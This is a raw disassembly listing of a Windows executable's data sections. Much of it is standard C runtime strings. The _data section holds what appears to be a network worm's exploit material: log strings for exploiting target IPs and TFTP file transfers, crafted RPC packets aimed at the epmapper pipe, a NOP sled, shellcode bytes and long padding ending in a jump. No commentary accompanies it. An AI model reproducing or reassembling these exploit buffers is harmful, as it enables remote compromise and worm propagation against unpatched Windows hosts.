align 4 aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41EA90+116o align 4 aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_41F930+23o ; sub_41FA10+29o align 4 aInput_c db 'input.c',0 ; DATA XREF: sub_41FBE0+1Eo ; sub_41FBE0+4Bo a_file_c db '_file.c',0 ; DATA XREF: sub_4210E0+31o ; sub_4210E0+65o a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_421440+15o align 10h a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_421790+18o align 4 a_open_c db '_open.c',0 ; DATA XREF: sub_421980+2Eo ; sub_421980+58o ... aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_421980+25o align 4 aStream_c db 'stream.c',0 ; DATA XREF: sub_421D10+C1o align 8 dbl_432FD8 dq 1.0 ; DATA XREF: sub_4226A0+37r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422700+1Ao align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422700+6o align 4 dbl_433008 dq 0.0 ; DATA XREF: sub_4228E0+9r aE000 db 'e+000',0 ; DATA XREF: sub_4229E0:loc_422A58o align 4 dword_433018 dd 0 ; DATA XREF: sub_422F40+5Do ; sub_426F40+58o ... dword_43301C dd 0 ; DATA XREF: sub_422F40+35o ; sub_426F40+35o ... dword_433020 dd 0FFFFFFFFh, 423086h, 42308Ch, 0FFFFFFFFh, 42317Ch, 423182h ; DATA XREF: sub_422F40+5o dd 545F434Ch, 454D49h, 4E5F434Ch, 52454D55h, 4349h, 4D5F434Ch dd 54454E4Fh, 595241h, 435F434Ch, 45505954h, 0 aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .data:0044349Co align 10h aLc_all db 'LC_ALL',0 ; DATA XREF: .data:off_443490o align 4 asc_433078: ; DATA XREF: .text:loc_423453o ; sub_423830+83o unicode 0, <;>,0 asc_43307C db '=;',0 ; DATA XREF: .text:loc_423381o align 10h aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_423690+3Eo ; sub_423830+1Bo align 4 asc_43308C: ; DATA XREF: sub_423830+5Bo unicode 0, <=>,0 a___0 db '_.,',0 ; DATA XREF: sub_423B20:loc_423B92o a__3: ; DATA XREF: sub_423C80+50o ; sub_42A100:loc_42A2FBo unicode 0, <.>,0 a__4: ; DATA XREF: sub_423C80+25o unicode 0, <_>,0 a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_423FC0+18o ; sub_423FC0+B2o ... align 4 aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_424120+13o align 10h aFtell_c db 'ftell.c',0 ; DATA XREF: .text:00424C66o ; sub_424CC0+18o aStdenvp_c db 'stdenvp.c',0 ; DATA XREF: sub_425240+5Bo ; sub_425240+D0o align 4 aStdargv_c db 'stdargv.c',0 ; DATA XREF: sub_425390+72o align 10h aA_env_c db 'a_env.c',0 ; DATA XREF: sub_4258A0+E8o ; sub_4258A0+1C6o aIoinit_c db 'ioinit.c',0 ; DATA XREF: sub_425AC0+Bo ; sub_425AC0+106o align 4 aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 10h aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_443694o db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4260B0+1A4o align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4260B0:loc_4261FAo db 0Ah db 'Program: ',0 align 4 aWinsig_c db 'winsig.c',0 ; DATA XREF: .text:004266F1o align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_426B40+5Fo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_426B40:loc_426B8Bo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_426B40+2Ao dword_433400 dd 0FFFFFFFFh, 427084h, 42708Ah ; DATA XREF: sub_426F40+5o a_getbuf_c db '_getbuf.c',0 ; DATA XREF: sub_427100+16o ; sub_427100+48o align 4 aMbtowc_c db 'mbtowc.c',0 ; DATA XREF: sub_4273B0+21o align 4 aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_4273B0+18o align 4 aUngetc_c db 'ungetc.c',0 ; DATA XREF: .text:00427936o ; sub_427990+16o align 4 aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_427BB0+138o align 10h aInittime_c db 'inittime.c',0 ; DATA XREF: sub_429780+13o align 4 aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_42A100+1CFo ; sub_42A100+215o ... align 4 aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_42A430+13o align 4 aInitctyp_c db 'initctyp.c',0 ; DATA XREF: sub_42A890+52o ; sub_42A890+6Bo ... align 10h aParaguay db 'Paraguay',0 align 4 aUruguay db 'Uruguay',0 aChile db 'Chile',0 align 4 aEcuador db 'Ecuador',0 ; DATA XREF: .data:00443B58o aArgentina db 'Argentina',0 align 10h aPeru db 'Peru',0 align 4 aColombia db 'Colombia',0 align 4 aVenezuela db 'Venezuela',0 align 10h aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .data:00443A7Co align 4 aSouthAfrica db 'South Africa',0 align 4 aPanama db 'Panama',0 ; DATA XREF: .data:00443A24o align 4 aLuxembourg db 'Luxembourg',0 align 4 aCostaRica db 'Costa Rica',0 ; DATA XREF: .data:004439CCo align 4 aSwitzerland db 'Switzerland',0 aGuatemala db 'Guatemala',0 ; DATA XREF: .data:00443974o align 4 aCanada db 'Canada',0 ; DATA XREF: .data:00443948o align 4 aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00443914o align 4 aAustralia db 'Australia',0 ; DATA XREF: .data:004438F0o align 4 aEnglish db 'English',0 ; DATA XREF: .data:004438E8o ; .data:00443A48o aAustria db 'Austria',0 ; DATA XREF: .data:004438C4o aGerman db 'German',0 ; DATA XREF: .data:004438BCo align 10h aBelgium db 'Belgium',0 ; DATA XREF: .data:00443898o aMexico db 'Mexico',0 align 10h aSpanish db 'Spanish',0 ; DATA XREF: .data:00443864o ; .data:0044396Co ... aBasque db 'Basque',0 ; DATA XREF: .data:00443838o align 10h aSweden db 'Sweden',0 ; DATA XREF: .data:00443814o align 4 aSwedish db 'Swedish',0 ; DATA XREF: .data:0044380Co aIceland db 'Iceland',0 aIcelandic db 'Icelandic',0 ; DATA XREF: .data:004437E0o align 4 aFrance db 'France',0 ; DATA XREF: .data:004437BCo align 4 aFrench db 'French',0 ; DATA XREF: .data:004437B4o ; .data:00443890o ... align 4 aFinland db 'Finland',0 aFinnish db 'Finnish',0 ; DATA XREF: .data:00443788o aSpain db 'Spain',0 ; DATA XREF: .data:off_443764o align 4 aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_44375Co align 4 aUnitedStates db 'united-states',0 align 4 aUnitedKingdom db 'united-kingdom',0 align 4 aTrinidadTobago db 'trinidad & tobago',0 align 4 aSouthKorea db 'south-korea',0 aSouthAfrica_0 db 'south-africa',0 align 4 aSouthKorea_0 db 'south korea',0 aSouthAfrica_1 db 'south africa',0 align 4 aSlovak db 'slovak',0 align 4 aPuertoRico db 'puerto-rico',0 aPrChina db 'pr-china',0 align 4 aPrChina_0 db 'pr china',0 align 10h aNz db 'nz',0 align 4 aNewZealand db 'new-zealand',0 aHongKong db 'hong-kong',0 align 4 aHolland db 'holland',0 aGreatBritain db 'great britain',0 align 4 aEngland db 'england',0 aCzech db 'czech',0 align 4 aChina db 'china',0 align 4 aBritain db 'britain',0 ; DATA XREF: .data:00443C10o aAmerica db 'america',0 ; DATA XREF: .data:off_443C08o aUsa db 'usa',0 aUs db 'us',0 align 4 aUk db 'uk',0 align 4 aSwiss db 'swiss',0 align 10h aSwedishFinland db 'swedish-finland',0 aSpanishVenezue db 'spanish-venezuela',0 align 4 aSpanishUruguay db 'spanish-uruguay',0 aSpanishPuertoR db 'spanish-puerto rico',0 aSpanishPeru db 'spanish-peru',0 align 4 aSpanishParagua db 'spanish-paraguay',0 align 4 aSpanishPanama db 'spanish-panama',0 align 4 aSpanishNicarag db 'spanish-nicaragua',0 align 10h aSpanishModern db 'spanish-modern',0 align 10h aSpanishMexican db 'spanish-mexican',0 aSpanishHondura db 'spanish-honduras',0 align 4 aSpanishGuatema db 'spanish-guatemala',0 align 4 aSpanishElSalva db 'spanish-el salvador',0 aSpanishEcuador db 'spanish-ecuador',0 aSpanishDominic db 'spanish-dominican republic',0 align 4 aSpanishCostaRi db 'spanish-costa rica',0 align 4 aSpanishColombi db 'spanish-colombia',0 align 10h aSpanishChile db 'spanish-chile',0 align 10h aSpanishBolivia db 'spanish-bolivia',0 aSpanishArgenti db 'spanish-argentina',0 align 4 aPortugueseBraz db 'portuguese-brazilian',0 align 4 aNorwegianNynor db 'norwegian-nynorsk',0 align 10h aNorwegianBokma db 'norwegian-bokmal',0 align 4 aNorwegian db 'norwegian',0 align 10h aItalianSwiss db 'italian-swiss',0 align 10h aIrishEnglish db 'irish-english',0 align 10h aGermanSwiss db 'german-swiss',0 align 10h aGermanLuxembou db 'german-luxembourg',0 align 4 aGermanLichtens db 'german-lichtenstein',0 aGermanAustrian db 'german-austrian',0 aFrenchSwiss db 'french-swiss',0 align 4 aFrenchLuxembou db 'french-luxembourg',0 align 4 aFrenchCanadian db 'french-canadian',0 aFrenchBelgian db 'french-belgian',0 align 4 aEnglishUsa db 'english-usa',0 aEnglishUs db 'english-us',0 align 4 aEnglishUk db 'english-uk',0 align 10h aEnglishTrinida db 'english-trinidad y tobago',0 align 4 aEnglishSouthAf db 'english-south africa',0 align 4 aEnglishNz db 'english-nz',0 align 10h aEnglishJamaica db 'english-jamaica',0 aEnglishIre db 'english-ire',0 aEnglishCaribbe db 'english-caribbean',0 align 10h aEnglishCan db 'english-can',0 aEnglishBelize db 'english-belize',0 align 4 aEnglishAus db 'english-aus',0 aEnglishAmerica db 'english-american',0 align 4 aDutchBelgian db 'dutch-belgian',0 align 4 aChineseTraditi db 'chinese-traditional',0 aChineseSingapo db 'chinese-singapore',0 align 4 aChineseSimplif db 'chinese-simplified',0 align 4 aChineseHongkon db 'chinese-hongkong',0 align 4 aChinese db 'chinese',0 aChi db 'chi',0 aChh db 'chh',0 aCanadian db 'canadian',0 align 4 aBelgian db 'belgian',0 aAustralian db 'australian',0 align 4 aAmericanEnglis db 'american-english',0 align 10h aAmericanEngl_0 db 'american english',0 align 4 aAmerican db 'american',0 ; DATA XREF: .data:off_443CC0o align 10h aOcp db 'OCP',0 ; DATA XREF: sub_42B610:loc_42B663o aAcp db 'ACP',0 ; DATA XREF: sub_42B610+16o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 10h aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTzset_c db 'tzset.c',0 ; DATA XREF: sub_42BAC0+1D1o aTz db 'TZ',0 ; DATA XREF: sub_42BAC0+35o align 4 aChsize_c db 'chsize.c',0 ; DATA XREF: sub_42C610+38o align 10h aSize0 db 'size >= 0',0 ; DATA XREF: sub_42C610+2Co align 4 a1Qnan db '1#QNAN',0 ; DATA XREF: sub_42D6C0:loc_42D87Fo align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_42D6C0+19Bo align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_42D6C0+168o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_42D6C0+125o align 4 aHMmSs db 'H:mm:ss',0 ; DATA XREF: .data:00444090o aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:0044408Co aMDYy db 'M/d/yy',0 ; DATA XREF: .data:00444088o align 10h aPm_1 db 'PM',0 ; DATA XREF: .data:00444084o align 4 aAm_0 db 'AM',0 ; DATA XREF: .data:00444080o align 4 aDecember db 'December',0 ; DATA XREF: .data:0044407Co align 4 aNovember db 'November',0 ; DATA XREF: .data:00444078o align 10h aOctober db 'October',0 ; DATA XREF: .data:00444074o aSeptember db 'September',0 ; DATA XREF: .data:00444070o align 4 aAugust db 'August',0 ; DATA XREF: .data:0044406Co align 4 aJuly db 'July',0 ; DATA XREF: .data:00444068o align 4 aJune db 'June',0 ; DATA XREF: .data:00444064o align 4 aApril db 'April',0 ; DATA XREF: .data:0044405Co align 4 aMarch db 'March',0 ; DATA XREF: .data:00444058o align 4 aFebruary db 'February',0 ; DATA XREF: .data:00444054o align 4 aJanuary db 'January',0 ; DATA XREF: .data:00444050o aDec db 'Dec',0 ; DATA XREF: .data:0044404Co aNov db 'Nov',0 ; DATA XREF: .data:00444048o aOct db 'Oct',0 ; DATA XREF: .data:00444044o aSep db 'Sep',0 ; DATA XREF: .data:00444040o aAug db 'Aug',0 ; DATA XREF: .data:0044403Co aJul db 'Jul',0 ; DATA XREF: .data:00444038o aJun db 'Jun',0 ; DATA XREF: .data:00444034o aMay db 'May',0 ; DATA XREF: .data:00444030o ; .data:00444060o aApr db 'Apr',0 ; DATA XREF: .data:0044402Co aMar db 'Mar',0 ; DATA XREF: .data:00444028o aFeb db 'Feb',0 ; DATA XREF: .data:00444024o aJan db 'Jan',0 ; DATA XREF: .data:00444020o aSaturday db 'Saturday',0 ; DATA XREF: .data:0044401Co align 4 aFriday db 'Friday',0 ; DATA XREF: .data:00444018o align 4 aThursday db 'Thursday',0 ; DATA XREF: .data:00444014o align 10h aWednesday db 'Wednesday',0 ; DATA XREF: .data:00444010o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: .data:0044400Co aMonday db 'Monday',0 ; DATA XREF: .data:00444008o align 4 aSunday db 'Sunday',0 ; DATA XREF: .data:00444004o align 4 aSat db 'Sat',0 ; DATA XREF: .data:00444000o aFri db 'Fri',0 ; DATA XREF: .data:00443FFCo aThu db 'Thu',0 ; DATA XREF: .data:00443FF8o aWed db 'Wed',0 ; DATA XREF: .data:00443FF4o aTue db 'Tue',0 ; DATA XREF: .data:00443FF0o aMon db 'Mon',0 ; DATA XREF: .data:00443FECo aSun db 'Sun',0 ; DATA XREF: .data:off_443FE8o aAP db 'a/p',0 ; DATA XREF: sub_42EB30:loc_42ED23o aAmPm db 'am/pm',0 ; DATA XREF: sub_42EB30:loc_42ED03o align 4 aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_42F050+9Co ; sub_42F050+F1o align 4 dword_433CD8 dd 0FFFFFFFFh, 42F417h, 42F41Dh, 0FFFFFFFFh, 42F496h, 42F49Ch ; DATA XREF: sub_42F2F0+5o dword_433CF0 dd 0FFFFFFFFh, 42FF9Dh, 42FFA3h, 0 ; DATA XREF: sub_42FEA0+5o dword_433D00 dd 0FFFFFFFFh, 43013Fh, 430145h ; DATA XREF: sub_430040+5o aWtombenv_c db 'wtombenv.c',0 ; DATA XREF: sub_430240+44o align 4 aA_cmp_c db 'a_cmp.c',0 ; DATA XREF: sub_4302F0+17Fo aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0 ; DATA XREF: sub_4302F0:loc_430463o align 10h dword_433D60 dd 0FFFFFFFFh, 4305CFh, 4305D5h, 0FFFFFFFFh, 43066Dh, 430673h ; DATA XREF: sub_4302F0+5o aSetenv_c db 'setenv.c',0 ; DATA XREF: sub_430740+B2o ; sub_430740+F2o ... align 8 dword_433D88 dd 0FFFFFFFFh, 4314CFh, 4314D5h, 0FFFFFFFFh, 431574h, 43157Ah ; DATA XREF: sub_431390+5o dd 98h dup(0) _rdata ends ; Section 3. (virtual address 00034000) ; Virtual size : 00060000 ( 393216.) ; Section size in file : 00060000 ( 393216.) ; Offset to raw data for section: 00034000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 434000h dword_434000 dd 0 ; DATA XREF: sub_41B2D0+29o dword_434004 dd 0 ; DATA XREF: sub_41B2D0+24o dword_434008 dd 0 ; DATA XREF: sub_41B2D0+17o dd offset sub_4210E0 dd offset sub_4249A0 dword_434014 dd 0 ; DATA XREF: sub_41B2D0:loc_41B2E2o dword_434018 dd 0 ; DATA XREF: sub_41B390+76o dd offset sub_421210 dword_434020 dd 0 ; DATA XREF: sub_41B390:loc_41B401o dword_434024 dd 0 ; DATA XREF: sub_41B390+88o dword_434028 dd 2 dup(0) ; DATA XREF: sub_41B390:loc_41B413o dword_434030 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_4013F1+E1o ; sub_4013F1+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43407C dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40119E+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4343E0 dd 20h, 0 ; DATA XREF: sub_40119E+136o dd 20h, 5C005Ch, 0 off_4343F4 dd offset loc_430056+6 ; DATA XREF: sub_40119E+15Do a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_434434 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40119E+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_40119E+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_434544 dd 10016C6h ; DATA XREF: sub_40119E+104o dword_434548 dd 100139Dh ; DATA XREF: sub_40119E+FBo off_43454C dd offset dword_49005C ; DATA XREF: sub_401000+Co dd offset loc_43004F+1 dd 24h asc_434558: ; DATA XREF: sub_401000+1Co unicode 0, <\\>,0 align 10h off_434560 dd offset dword_49005C ; DATA XREF: sub_4010E6+Bo dd offset loc_43004F+1 dd 24h asc_43456C: ; DATA XREF: sub_4010E6+16o unicode 0, <\\>,0 align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4013F1+41o align 4 aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: sub_4013F1+29Co align 4 aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_4013F1+2E9o align 10h aS: ; DATA XREF: .text:0040183Co unicode 0, <è>,0 dd 31665800h, 388140C0h, 6D6F6364h, 7881F775h, 30786804h dd 5EE7572h, 8, 9090E0FFh, 3Fh dup(90909090h), 9090h dword_4346F4 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .text:0040191Co dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset loc_430056+6 a123456111111_0: unicode 0, <$\123456111111111111111.doc>,0 align 8 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) a127_0_0_1Ipc: ; DATA XREF: .text:0040185Bo unicode 0, <127.0.0.1\IPC$\> dw 4545h db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 45h ; E db 3 dup(45h) db 0E9h ; é db 0F3h, 0FDh, 0FFh db 0FFh aEeeeeeeeeeeeee db 